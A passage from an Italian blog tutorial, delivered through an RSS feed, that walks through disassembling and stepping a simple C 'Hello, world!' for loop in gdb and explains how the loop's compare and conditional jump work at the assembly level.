<p>Nella successiva locazione di memoria, ossia all&#8217;indirizzo <span style="text-decoration: underline;"><em>0x80483dc</em></span> è presente un salto incondizionato <em>jmp</em> alla locazione <span style="text-decoration: underline;"><em>0x80483ee</em></span>. Verifichiamo, proseguendo di una istruzione <span style="text-decoration: underline;"><em>nexti</em></span>, che l&#8217;<em>eip</em> successivo sia proprio quello:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> nexti
0x080483dc      <span style="color: #cc66cc;">6</span>         <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> i <span style="color: #0000ff;">&amp;lt</span><span style="color: #339933;">;</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> i r eip
eip            0x80483dc        0x80483dc
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>i <span style="color: #0000ff;">$eip</span>
0x80483dc <span style="color: #339933;">:</span>    jmp    0x80483ee</pre></div></div>

<p>Infatti, ora l&#8217;<em>eip</em> contiene un salto incondizionato <em>jmp</em>.<br />
Guardiamo adesso le successive 10 istruzioni:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>10i <span style="color: #0000ff;">$eip</span>
0x80483dc <span style="color: #339933;">:</span>    jmp    0x80483ee
0x80483de <span style="color: #339933;">:</span>    mov    DWORD PTR <span style="color: #009900;">&#91;</span>esp<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x80484d0
0x80483e5 <span style="color: #339933;">:</span>    call   0x80482f4
0x80483ea <span style="color: #339933;">:</span>    add    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x1
0x80483ee <span style="color: #339933;">:</span>    <span style="color: #b1b100;">cmp</span>    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x9
0x80483f2 <span style="color: #339933;">:</span>    jle    0x80483de
0x80483f4 <span style="color: #339933;">:</span>    mov    eax<span style="color: #339933;">,</span>0x0
0x80483f9 <span style="color: #339933;">:</span>    add    esp<span style="color: #339933;">,</span>0x14
0x80483fc <span style="color: #339933;">:</span>    <span style="color: #000066;">pop</span>    ecx
0x80483fd <span style="color: #339933;">:</span>    <span style="color: #000066;">pop</span>    ebp</pre></div></div>

<p>Da questo listato si vede non troppo facilmente per i newbe come viene effettuato il ciclo <em>for</em>.<br />
Inizialmente viene fatto un salto incondizionato sulla locazione <span style="text-decoration: underline;"><em>0x80483ee</em></span>, nella quale viene effettuata una compare <em>cmp</em>, la quale dice che se il il numero presente alla locazione <span style="text-decoration: underline;"><em>ebp &#8211; 8</em></span>,  dove precedentemente era stato inizializzato 0, è minore o uguale di 9 allora esegue l&#8217;istruzione successiva <em>jle</em> che risulta essere apppunto un salto condizionato, proprio per via della compare, all&#8217;istruzione <span style="text-decoration: underline;"><em>0x80483de</em></span>. Siccome risulta vera, 0 è minore o uguale di 9, rinizia il ciclo.</p>
<p>Nel momento in cui risulterà falsa, ossia <span style="text-decoration: underline;"><em>ebp &#8211; 8</em></span> vale 10, allora non effettuerà il salto e continuerà con l&#8217;istruzione successiva.</p>
<p>Ora controlliamo proprio che <span style="text-decoration: underline;"><em>ebp &#8211; 8</em></span> sia 0 e che quindi <em>jle</em> faccia il salto condizionato</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>i <span style="color: #0000ff;">$ebp</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">8</span>
0xbfff7d10<span style="color: #339933;">:</span>     add    BYTE PTR <span style="color: #009900;">&#91;</span>eax<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>al
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>x 0xbfff7d10
0xbfff7d10<span style="color: #339933;">:</span>     0x00000000
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>d 0xbfff7d10
0xbfff7d10<span style="color: #339933;">:</span>     <span style="color: #cc66cc;">0</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> <span style="color: #000066;">print</span> <span style="color: #0000ff;">$ebp</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">8</span>
<span style="color: #0000ff;">$2</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>void <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> 0xbfff7d10
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>x <span style="color: #0000ff;">$2</span>
0xbfff7d10<span style="color: #339933;">:</span>     0x00000000
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>d <span style="color: #0000ff;">$2</span>
0xbfff7d10<span style="color: #339933;">:</span>     <span style="color: #cc66cc;">0</span></pre></div></div>

<p>Sia con il metodo <span style="text-decoration: underline;"><em>print</em></span> che analizzando con <em>x/x</em> direttamente sulla locazione di memoria, che con <em>x/d</em> lo visualizziamo in decimale, controlliamo che ha valore 0 e che quindi il <em>jle</em> ha condizione positiva per effettuare il salto.</p>
<p>Ora invece cerchiamo di capire cosa fanno le altre operazioni. Analizzando la locazione <span style="text-decoration: underline;"><em>0x80483de</em></span> è presente un&#8217;istruzione che essenzialmente muove il valore dell&#8217;indirizzo <span style="text-decoration: underline;"><em>0x80484d0</em></span> nell&#8217;indirizzo <em>esp</em>. Verifichiamo quindi cosa contiene l&#8217;indirizzo <span style="text-decoration: underline;"><em>0x80484d0</em></span>:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>x 0x80484d0
0x80484d0<span style="color: #339933;">:</span>      0x6c6c6548
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>6cb 0x80484d0
0x80484d0<span style="color: #339933;">:</span>      <span style="color: #cc66cc;">72</span> <span style="color: #ff0000;">'H'</span>  <span style="color: #cc66cc;">101</span> <span style="color: #ff0000;">'e'</span> <span style="color: #cc66cc;">108</span> <span style="color: #ff0000;">'l'</span> <span style="color: #cc66cc;">108</span> <span style="color: #ff0000;">'l'</span> <span style="color: #cc66cc;">111</span> <span style="color: #ff0000;">'o'</span> <span style="color: #cc66cc;">44</span> <span style="color: #ff0000;">','</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span><span style="color: #000066;">s</span> 0x80484d0
0x80484d0<span style="color: #339933;">:</span>       <span style="color: #ff0000;">&quot;Hello, world!&quot;</span></pre></div></div>

<p>Notiamo che contiene il valore <span style="text-decoration: underline;"><em>0x6c6c6548</em></span> che codificato in ASCII corrisponde ad &#8220;Hello,&#8221; infatti tramite l&#8217;opzione <em>c</em> effettua la codifica di ogni singolo byte in ASCII mentre con <em>s</em> converte proprio tutta la stringa.</p>
<p>Per ultimo l&#8217;istruzione alla locazione <span style="text-decoration: underline;"><em>0x80483ea</em></span> non fa altro che incrementare di uno il valore all&#8217;interno di <span style="text-decoration: underline;"><em>ebp &#8211; 8</em></span>, la quale poi viene poi controllata dal salto condizionato.</p>
<p>Giusto per completare il discorso, procediamo con diversi <span style="text-decoration: underline;"><em>nexti</em></span> fino alla fine del del ciclo <em>for</em> ossia quando l&#8217;<span style="text-decoration: underline;"><em>ebp &#8211; 8</em></span> contiene il valore 10. Infine controlliamo che l&#8217;<em>eip</em> punta all&#8217;uscita del ciclo:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>d 0xbfff7d10
0xbfff7d10<span style="color: #339933;">:</span>     <span style="color: #cc66cc;">10</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> i r eip
eip            0x80483ee        0x80483ee
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>10i <span style="color: #0000ff;">$eip</span>
0x80483ee <span style="color: #339933;">:</span>    <span style="color: #b1b100;">cmp</span>    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x9
0x80483f2 <span style="color: #339933;">:</span>    jle    0x80483de
0x80483f4 <span style="color: #339933;">:</span>    mov    eax<span style="color: #339933;">,</span>0x0
0x80483f9 <span style="color: #339933;">:</span>    add    esp<span style="color: #339933;">,</span>0x14
0x80483fc <span style="color: #339933;">:</span>    <span style="color: #000066;">pop</span>    ecx
0x80483fd <span style="color: #339933;">:</span>    <span style="color: #000066;">pop</span>    ebp
0x80483fe <span style="color: #339933;">:</span>    lea    esp<span style="color: #339933;">,</span><span style="color: #009900;">&#91;</span>ecx<span style="color: #339933;">-</span>0x4<span style="color: #009900;">&#93;</span>
0x8048401 <span style="color: #339933;">:</span>    ret
0x8048402<span style="color: #339933;">:</span>      nop
0x8048403<span style="color: #339933;">:</span>      nop
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> nexti
0x080483f2      <span style="color: #cc66cc;">6</span>         <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> i <span style="color: #0000ff;">&amp;lt</span><span style="color: #339933;">;</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> i r eip
eip            0x80483f2        0x80483f2
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> nexti
<span style="color: #cc66cc;">10</span>        <span style="color: #000066;">return</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> i r eip
eip            0x80483f4        0x80483f4</pre></div></div>

<p>Possiamo vedere dall&#8217;output come appunto l&#8217;<em>eip</em> punta <span style="text-decoration: underline;"><em>0x80483f4</em></span> e non più <span style="text-decoration: underline;"><em>0x80483de</em></span> come nei precedenti casi, confermando appunto l&#8217;uscita dal ciclo <em>for</em>.</p>
<p>Bene ora che abbiamo appreso i concetti base del debugging immaginate cosa potrebbe capitare se un attaccante riesca a sovrascrivere l<em>&#8216;eip</em> facendolo puntare ad una locazione di memoria arbitraria a lui congeniale!</p>
<p>Buon degugging a tutti.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.manzotti.eu/le-basi-dellassembly-e-del-debugging-su-unix/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
